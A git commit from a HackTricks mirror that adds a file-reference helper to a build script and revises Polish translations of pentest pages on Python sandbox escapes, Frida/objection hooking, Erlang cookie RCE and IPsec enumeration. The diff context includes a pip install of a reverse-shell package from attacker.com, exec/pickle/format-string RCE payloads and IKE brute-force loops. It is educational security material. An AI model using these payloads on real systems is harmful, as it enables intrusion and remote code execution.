mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
Translator
parent
c95aa1e342
commit
88ea45e088
@ -1,4 +1,5 @@
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
@ -68,6 +69,33 @@ def ref(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
def files(matchobj):
|
||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = ""
|
||||
|
||||
try:
|
||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||
if href in files:
|
||||
title = href
|
||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
if title=="":
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
result = template
|
||||
|
||||
return result
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
@ -105,6 +133,8 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||
new_content = re.sub(regex, files, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
|
||||
@ -41,8 +41,7 @@ system('ls')
|
||||
```
|
||||
Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być przydatne do **czytania plików** wewnątrz piaskownicy Pythona oraz do **pisania kodu**, który możesz **wykonać**, aby **obejść** piaskownicę.
|
||||
|
||||
> [!CAUTION]
|
||||
> Funkcja **input()** w Pythonie 2 pozwala na wykonywanie kodu Pythona przed awarią programu.
|
||||
> [!CAUTION] > Funkcja **input()** w Pythonie 2 pozwala na wykonywanie kodu Pythona przed awarią programu.
|
||||
|
||||
Python próbuje **ładować biblioteki z bieżącego katalogu jako pierwsze** (następujące polecenie wydrukuje, skąd Python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
@ -54,7 +53,7 @@ Python próbuje **ładować biblioteki z bieżącego katalogu jako pierwsze** (n
|
||||
|
||||
Możesz znaleźć **listę wstępnie zainstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Zauważ, że z pickle możesz sprawić, że środowisko Pythona **zaimportuje dowolne biblioteki** zainstalowane w systemie.\
|
||||
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip do jej użycia:
|
||||
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -67,20 +66,22 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Aby uzyskać więcej informacji na temat działania pickle, sprawdź to: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Dla uzyskania dodatkowych informacji na temat działania pickle, sprawdź to: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pakiet Pip
|
||||
|
||||
Sztuczka udostępniona przez **@isHaacK**
|
||||
|
||||
Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać powrotną powłokę, wywołując:
|
||||
Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać powrotny shell, wywołując:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę zauważyć, że przed użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**:
|
||||
|
||||
{% file src="../../../images/Reverse.tar (1).gz" %}
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!NOTE]
|
||||
> Ten pakiet nazywa się `Reverse`. Jednak został specjalnie stworzony tak, aby po wyjściu z reverse shell reszta instalacji zakończyła się niepowodzeniem, więc **nie zostawisz żadnego dodatkowego pakietu python na serwerze** po wyjściu.
|
||||
@ -90,7 +91,7 @@ Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę zauważyć, ż
|
||||
> [!WARNING]
|
||||
> Zauważ, że exec pozwala na wieloliniowe ciągi i ";", ale eval nie (sprawdź operator walrus)
|
||||
|
||||
Jeśli pewne znaki są zabronione, możesz użyć **hex/octal/B64** reprezentacji, aby **obejść** ograniczenie:
|
||||
Jeśli pewne znaki są zabronione, możesz użyć reprezentacji **hex/octal/B64**, aby **obejść** ograniczenie:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -151,7 +152,7 @@ Możliwe jest również ominięcie tego za pomocą innych kodowań, np. `raw_uni
|
||||
|
||||
## Wykonanie Pythona bez wywołań
|
||||
|
||||
Jeśli jesteś w pułapce Pythona, która **nie pozwala na wywołania**, wciąż istnieją sposoby na **wykonanie dowolnych funkcji, kodu** i **poleceń**.
|
||||
Jeśli jesteś w pułapce Pythona, która **nie pozwala na wywołania**, istnieją nadal sposoby na **wykonywanie dowolnych funkcji, kodu** i **komend**.
|
||||
|
||||
### RCE z [dekoratorami](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -314,7 +315,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
### Brak Wbudowanych
|
||||
|
||||
Kiedy nie masz `__builtins__`, nie będziesz w stanie zaimportować niczego ani nawet czytać lub pisać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||
Jednak **domyślnie python ładuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które mogą być wykorzystane do uzyskania **dowolnego wykonania kodu**.
|
||||
Jednak **domyślnie python ładuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które można wykorzystać do uzyskania **dowolnego wykonania kodu**.
|
||||
|
||||
W poniższych przykładach możesz zaobserwować, jak **nadużywać** niektóre z tych "**nieszkodliwych**" modułów załadowanych, aby **uzyskać** **niebezpieczne** **funkcjonalności** wewnątrz nich.
|
||||
|
||||
@ -681,11 +682,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` oraz **elementu dict** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`.
|
||||
Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` i **elementu dict** z **nawiasami** bez cudzysłowów `__globals__[CONFIG]`.
|
||||
|
||||
Zauważ również, że możesz użyć `.__dict__`, aby wyliczyć elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
|
||||
|
||||
Inne interesujące cechy formatów ciągów to możliwość **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając **`!s`**, **`!r`**, **`!a`** odpowiednio:
|
||||
Niektóre inne interesujące cechy formatów ciągów to możliwość **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając **`!s`**, **`!r`**, **`!a`** odpowiednio:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
@ -710,7 +711,7 @@ return 'HAL 9000'
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### Ładunki ujawniające wrażliwe informacje
|
||||
### Payloady ujawniające wrażliwe informacje
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -732,9 +733,9 @@ Z [tutaj](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-
|
||||
|
||||
### Od formatu do RCE ładowania bibliotek
|
||||
|
||||
Zgodnie z [**wyzwaniem TypeMonkey z tego opisu**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest ładowanie dowolnych bibliotek z dysku, wykorzystując lukę w formacie łańcucha w pythonie.
|
||||
Zgodnie z [**wyzwaniem TypeMonkey z tego opisu**](https://corgi.rip/posts/buckeye-writeups/), możliwe jest ładowanie dowolnych bibliotek z dysku, wykorzystując lukę w formacie łańcucha w pythonie.
|
||||
|
||||
Przypomnienie, za każdym razem, gdy wykonywana jest akcja w pythonie, wywoływana jest jakaś funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** będzie **`{'a':'b'}.__getitem__('a')`**.
|
||||
Przypomnienie: za każdym razem, gdy wykonywana jest akcja w pythonie, wywoływana jest jakaś funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** będzie **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Masz więcej takich przykładów w sekcji [**Wykonanie Pythona bez wywołań**](#python-execution-without-calls).
|
||||
|
||||
@ -763,18 +764,18 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
To urządzenie pozwala na **załadowanie biblioteki z dysku**. Dlatego konieczne jest w jakiś sposób **napisanie lub przesłanie biblioteki do załadowania** poprawnie skompilowanej na zaatakowany serwer.
|
||||
To urządzenie pozwala na **załadowanie biblioteki z dysku**. Dlatego konieczne jest w jakiś sposób **napisać lub przesłać bibliotekę do załadowania** poprawnie skompilowaną na zaatakowany serwer.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Wyzwanie w rzeczywistości wykorzystuje inną podatność na serwerze, która pozwala na tworzenie dowolnych plików na dysku serwera.
|
||||
Wyzwanie w rzeczywistości wykorzystuje inną lukę w serwerze, która pozwala na tworzenie dowolnych plików na dysku serwera.
|
||||
|
||||
## Analiza obiektów Pythona
|
||||
|
||||
> [!NOTE]
|
||||
> Jeśli chcesz **nauczyć się** o **bytecode Pythona** w głębi, przeczytaj ten **świetny** post na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Jeśli chcesz **nauczyć się** o **bajtkodzie Pythona** w głębi, przeczytaj ten **świetny** post na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
W niektórych CTF możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga** i musisz zobaczyć **wnętrze** **funkcji**, aby ją wydobyć.
|
||||
W niektórych CTF-ach możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga** i musisz zobaczyć **wnętrze** **funkcji**, aby ją wyodrębnić.
|
||||
|
||||
To jest funkcja do zbadania:
|
||||
```python
|
||||
@ -805,7 +806,7 @@ get_flag.__globals__
|
||||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**Zobacz tutaj więcej miejsc do uzyskania globals**](#globals-and-locals)
|
||||
[**Zobacz tutaj więcej miejsc, aby uzyskać globals**](#globals-and-locals)
|
||||
|
||||
### **Dostęp do kodu funkcji**
|
||||
|
||||
@ -897,7 +898,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bajtowy kod** funkcji (`get_flag.func_code.co_code`) i **zdekompilować** go lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je odgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również informuje o przesunięciu zmiennej, która jest ładowana.
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **zdekompilować** go lokalnie. Nie zobaczysz zawartości zmiennych ładowanych (`LOAD_CONST`), ale możesz je zgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również wskazuje offset zmiennej, która jest ładowana.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -965,10 +966,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Rekreacja wyciekłej funkcji
|
||||
### Odtwarzanie wyciekłej funkcji
|
||||
|
||||
> [!WARNING]
|
||||
> W poniższym przykładzie weźmiemy wszystkie dane potrzebne do rekreacji funkcji bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie**, wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to to, co **musisz wyciekować**.
|
||||
> W poniższym przykładzie weźmiemy wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie**, wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to to, co **musisz wyciekować**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -981,8 +982,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Bypass Defenses
|
||||
|
||||
W poprzednich przykładach na początku tego wpisu możesz zobaczyć **jak wykonać dowolny kod python za pomocą funkcji `compile`**. To jest interesujące, ponieważ możesz **wykonać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy zrobić to samo używając **`exec`**).\
|
||||
W każdym razie, czasami może być przydatne, aby **utworzyć** **skompilowany obiekt** na lokalnej maszynie i wykonać go na **maszynie CTF** (na przykład, ponieważ nie mamy funkcji `compiled` w CTF).
|
||||
W poprzednich przykładach na początku tego posta, możesz zobaczyć **jak wykonać dowolny kod python za pomocą funkcji `compile`**. To jest interesujące, ponieważ możesz **wykonywać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy zrobić to samo używając **`exec`**).\
|
||||
Tak czy inaczej, czasami może być przydatne, aby **utworzyć** **skompilowany obiekt** na lokalnej maszynie i wykonać go na **maszynie CTF** (na przykład, ponieważ nie mamy funkcji `compiled` w CTF).
|
||||
|
||||
Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która odczytuje _./poc.py_:
|
||||
```python
|
||||
@ -1034,7 +1035,7 @@ Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.de
|
||||
### Assert
|
||||
|
||||
Python uruchomiony z optymalizacjami z parametrem `-O` usunie instrukcje assert oraz wszelki kod warunkowy zależny od wartości **debug**.\
|
||||
Dlatego sprawdzenia takie jak
|
||||
Dlatego kontrole takie jak
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
@ -1054,5 +1055,4 @@ będzie omijany
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,15 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## **Wprowadzenie**
|
||||
|
||||
**objection - Eksploracja Mobilna w Czasie Rzeczywistym**
|
||||
**objection - Eksploracja mobilna w czasie rzeczywistym**
|
||||
|
||||
[**Objection**](https://github.com/sensepost/objection) to zestaw narzędzi do eksploracji mobilnej w czasie rzeczywistym, oparty na [Frida](https://www.frida.re). Został stworzony w celu pomocy w ocenie aplikacji mobilnych i ich bezpieczeństwa bez potrzeby posiadania urządzenia mobilnego z jailbreakiem lub roota.
|
||||
|
||||
**Uwaga:** To nie jest forma obejścia jailbreaka / roota. Używając `objection`, nadal jesteś ograniczony przez wszystkie restrykcje nałożone przez odpowiedni sandbox, z którym się mierzysz.
|
||||
**Uwaga:** To nie jest forma obejścia jailbreaka / roota. Używając `objection`, nadal jesteś ograniczony przez wszystkie restrykcje nałożone przez odpowiedni sandbox, z którym się zmagasz.
|
||||
|
||||
### Podsumowanie
|
||||
|
||||
@ -18,9 +16,11 @@
|
||||
|
||||
## Tutorial
|
||||
|
||||
W tym tutorialu użyję APK, które możesz pobrać tutaj:
|
||||
W tym tutorialu użyję pliku APK, który możesz pobrać tutaj:
|
||||
|
||||
{% file src="../../../images/app-release.zip" %}
|
||||
{{#file}}
|
||||
app-release.zip
|
||||
{{#endfile}}
|
||||
|
||||
Lub z jego [oryginalnego repozytorium](https://github.com/asvid/FridaApp) (pobierz app-release.apk)
|
||||
|
||||
@ -30,7 +30,7 @@ pip3 install objection
|
||||
```
|
||||
### Połączenie
|
||||
|
||||
Utwórz **zwykłe połączenie ADB** i **uruchom** serwer **frida** na urządzeniu (i sprawdź, czy frida działa zarówno na kliencie, jak i na serwerze).
|
||||
Zrób **zwykłe połączenie ADB** i **uruchom** serwer **frida** na urządzeniu (i sprawdź, czy frida działa zarówno na kliencie, jak i na serwerze).
|
||||
|
||||
Jeśli używasz **urządzenia z rootem**, musisz wybrać aplikację, którą chcesz przetestować w opcji _**--gadget**_. w tym przypadku:
|
||||
```bash
|
||||
@ -84,7 +84,7 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
|
||||
```
|
||||
### Analiza statyczna staje się dynamiczna
|
||||
|
||||
W rzeczywistej aplikacji powinniśmy znać wszystkie informacje odkryte w tej części przed użyciem objection dzięki **analizie statycznej**. Tak czy inaczej, w ten sposób możesz zobaczyć **coś nowego**, ponieważ tutaj będziesz mieć tylko pełną listę klas, metod i eksportowanych obiektów.
|
||||
W rzeczywistej aplikacji powinniśmy znać wszystkie informacje odkryte w tej części przed użyciem objection dzięki **analizie statycznej**. Tak czy inaczej, w ten sposób być może zobaczysz **coś nowego**, ponieważ tutaj będziesz miał tylko pełną listę klas, metod i eksportowanych obiektów.
|
||||
|
||||
To jest również przydatne, jeśli w jakiś sposób jesteś **niezdolny do uzyskania czytelnego kodu źródłowego** aplikacji.
|
||||
|
||||
@ -105,7 +105,7 @@ android hooking get current_activity
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### Szukaj klas
|
||||
#### Wyszukiwanie klas
|
||||
|
||||
Zacznijmy szukać klas w naszej aplikacji
|
||||
```bash
|
||||
@ -135,7 +135,7 @@ Możesz również wylistować wszystkie klasy, które zostały załadowane w bie
|
||||
```bash
|
||||
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
|
||||
```
|
||||
To jest bardzo przydatne, jeśli chcesz **podpiąć metodę klasy i znasz tylko nazwę klasy**. Możesz użyć tej funkcji, aby **wyszukać, który moduł jest właścicielem klasy** i następnie podpiąć jej metodę.
|
||||
To bardzo przydatne, jeśli chcesz **podpiąć metodę klasy i znasz tylko nazwę klasy**. Możesz użyć tej funkcji, aby **wyszukać, który moduł jest właścicielem klasy** i następnie podpiąć jej metodę.
|
||||
|
||||
### Łatwe podpinanie
|
||||
|
||||
@ -153,13 +153,13 @@ Właściwie uważam, że wszystkie metody klasy MainActivity są naprawdę inter
|
||||
```bash
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
Jeśli bawisz się aplikacją, gdy klasa jest podłączona, zobaczysz, kiedy **każda funkcja jest wywoływana**, jej **argumenty** oraz **wartość zwracaną**.
|
||||
Jeśli będziesz bawić się aplikacją, gdy klasa jest podłączona, zobaczysz, kiedy **każda funkcja jest wywoływana**, jej **argumenty** oraz **wartość zwracaną**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### Zmiana wartości zwracanej typu boolean funkcji
|
||||
|
||||
Z kodu źródłowego widać, że funkcja _checkPin_ przyjmuje _String_ jako argument i zwraca _boolean_. Zmieńmy funkcję, aby **zawsze zwracała true**:
|
||||
Z kodu źródłowego możesz zobaczyć, że funkcja _checkPin_ przyjmuje _String_ jako argument i zwraca _boolean_. Zmieńmy funkcję, aby **zawsze zwracała true**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -223,4 +223,6 @@ exit
|
||||
|
||||
- Metody hookujące czasami powodują awarię aplikacji (to również z powodu Frida).
|
||||
- Nie możesz używać instancji klas do wywoływania funkcji instancji. I nie możesz tworzyć nowych instancji klas i używać ich do wywoływania funkcji.
|
||||
- Nie ma skrótu (jak w przypadku sslpinnin), aby hookować wszystkie powszechnie używane metody kryptograficzne w aplikacji, aby zobaczyć tekst zaszyfrowany, tekst jawny, klucze, IV i używane algorytmy.
|
||||
- Nie ma skrótu (jak ten dla sslpinnin), aby hookować wszystkie powszechnie używane metody kryptograficzne w aplikacji, aby zobaczyć tekst zaszyfrowany, tekst jawny, klucze, IV i używane algorytmy.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -40,9 +40,9 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
# Erlang Cookie RCE
|
||||
|
||||
## Zdalne Połączenie
|
||||
## Remote Connection
|
||||
|
||||
Jeśli możesz **ujawnić ciasteczko uwierzytelniające**, będziesz w stanie wykonać kod na hoście. Zazwyczaj to ciasteczko znajduje się w `~/.erlang.cookie` i jest generowane przez erlang przy pierwszym uruchomieniu. Jeśli nie jest modyfikowane ani ustawiane ręcznie, jest to losowy ciąg \[A:Z] o długości 20 znaków.
|
||||
Jeśli możesz **wyciekować ciasteczko uwierzytelniające**, będziesz w stanie wykonać kod na hoście. Zazwyczaj to ciasteczko znajduje się w `~/.erlang.cookie` i jest generowane przez Erlang przy pierwszym uruchomieniu. Jeśli nie jest modyfikowane ani ustawiane ręcznie, jest to losowy ciąg \[A:Z] o długości 20 znaków.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
@ -57,7 +57,9 @@ At last, we can start an erlang shell on the remote system.
|
||||
Więcej informacji w [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Autor dzieli się również programem do bruteforce'a ciasteczka:
|
||||
|
||||
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
|
||||
{{#file}}
|
||||
epmd_bf-0.1.tar.bz2
|
||||
{{#endfile}}
|
||||
|
||||
## Połączenie lokalne
|
||||
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczania komunikacji między sieciami (LAN-to-LAN) oraz zdalnymi użytkownikami do bramy sieciowej (zdalny dostęp), stanowiąc podstawę dla rozwiązań VPN w przedsiębiorstwach.
|
||||
|
||||
Ustanowienie **asocjacji bezpieczeństwa (SA)** między dwoma punktami jest zarządzane przez **IKE**, które działa w ramach ISAKMP, protokołu zaprojektowanego do uwierzytelniania i wymiany kluczy. Proces ten przebiega w kilku fazach:
|
||||
Ustanowienie **związku bezpieczeństwa (SA)** między dwoma punktami jest zarządzane przez **IKE**, które działa w ramach ISAKMP, protokołu zaprojektowanego do uwierzytelniania i wymiany kluczy. Proces ten przebiega w kilku fazach:
|
||||
|
||||
- **Faza 1:** Tworzony jest bezpieczny kanał między dwoma punktami końcowymi. Osiąga się to poprzez użycie Pre-Shared Key (PSK) lub certyfikatów, stosując tryb główny, który obejmuje trzy pary wiadomości, lub **tryb agresywny**.
|
||||
- **Faza 1:** Tworzony jest bezpieczny kanał między dwoma punktami końcowymi. Osiąga się to poprzez użycie klucza wstępnie udostępnionego (PSK) lub certyfikatów, stosując tryb główny, który obejmuje trzy pary wiadomości, lub **tryb agresywny**.
|
||||
- **Faza 1.5:** Choć nieobowiązkowa, ta faza, znana jako Faza Rozszerzonego Uwierzytelniania, weryfikuje tożsamość użytkownika próbującego się połączyć, wymagając nazwy użytkownika i hasła.
|
||||
- **Faza 2:** Ta faza jest poświęcona negocjowaniu parametrów zabezpieczania danych za pomocą **ESP** i **AH**. Umożliwia to użycie algorytmów różnych od tych w Fazie 1, aby zapewnić **Perfect Forward Secrecy (PFS)**, zwiększając bezpieczeństwo.
|
||||
- **Faza 2:** Ta faza jest poświęcona negocjowaniu parametrów zabezpieczania danych za pomocą **ESP** i **AH**. Umożliwia to użycie algorytmów różnych od tych w Fazie 1, aby zapewnić **Idealną Tajność Przyszłości (PFS)**, zwiększając bezpieczeństwo.
|
||||
|
||||
**Domyślny port:** 500/udp
|
||||
|
||||
@ -24,7 +24,7 @@ PORT STATE SERVICE
|
||||
500/udp open isakmp
|
||||
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
## **Znajdowanie ważnej transformacji**
|
||||
## **Znalezienie ważnej transformacji**
|
||||
|
||||
Konfiguracja IPSec może być przygotowana tylko do akceptacji jednej lub kilku transformacji. Transformacja to kombinacja wartości. **Każda transformacja** zawiera szereg atrybutów, takich jak DES lub 3DES jako **algorytm szyfrowania**, SHA lub MD5 jako **algorytm integralności**, klucz współdzielony jako **typ uwierzytelnienia**, Diffie-Hellman 1 lub 2 jako **algorytm dystrybucji kluczy** oraz 28800 sekund jako **czas życia**.
|
||||
|
||||
@ -41,14 +41,14 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
Jak widać w poprzedniej odpowiedzi, istnieje pole **AUTH** z wartością **PSK**. Oznacza to, że VPN jest skonfigurowany przy użyciu klucza wstępnie udostępnionego (co jest naprawdę dobre dla pentestera).\
|
||||
Jak widać w poprzedniej odpowiedzi, istnieje pole **AUTH** z wartością **PSK**. Oznacza to, że VPN jest skonfigurowany z użyciem klucza wstępnie udostępnionego (co jest naprawdę dobre dla pentestera).\
|
||||
**Wartość ostatniej linii jest również bardzo ważna:**
|
||||
|
||||
- _0 zwrócone handshake; 0 zwrócone notify:_ Oznacza to, że cel **nie jest bramą IPsec**.
|
||||
- _**1 zwrócone handshake; 0 zwrócone notify:**_ Oznacza to, że **cel jest skonfigurowany dla IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jeden lub więcej z proponowanych transformacji jest akceptowalnych** (ważna transformacja zostanie pokazana w wynikach).
|
||||
- _0 zwrócone handshake; 1 zwrócone notify:_ Bramki VPN odpowiadają wiadomością notify, gdy **żadne z transformacji nie są akceptowalne** (choć niektóre bramki tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidowanej propozycji).
|
||||
|
||||
W takim przypadku mamy już ważną transformację, ale jeśli jesteś w 3. przypadku, musisz **trochę przeprowadzić brute-force, aby znaleźć ważną transformację:**
|
||||
W takim razie mamy już ważną transformację, ale jeśli jesteś w 3. przypadku, musisz **przeprowadzić trochę brute-force, aby znaleźć ważną transformację:**
|
||||
|
||||
Przede wszystkim musisz stworzyć wszystkie możliwe transformacje:
|
||||
```bash
|
||||
@ -64,20 +64,20 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
||||
```
|
||||
Mam nadzieję, że **ważna transformacja zostanie zwrócona**.\
|
||||
Możesz spróbować **tego samego ataku** używając [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||||
Możesz także spróbować przeprowadzić brute force transformacji za pomocą [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
Możesz również spróbować wymusić transformacje za pomocą [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
```bash
|
||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||
```
|
||||
.png>)
|
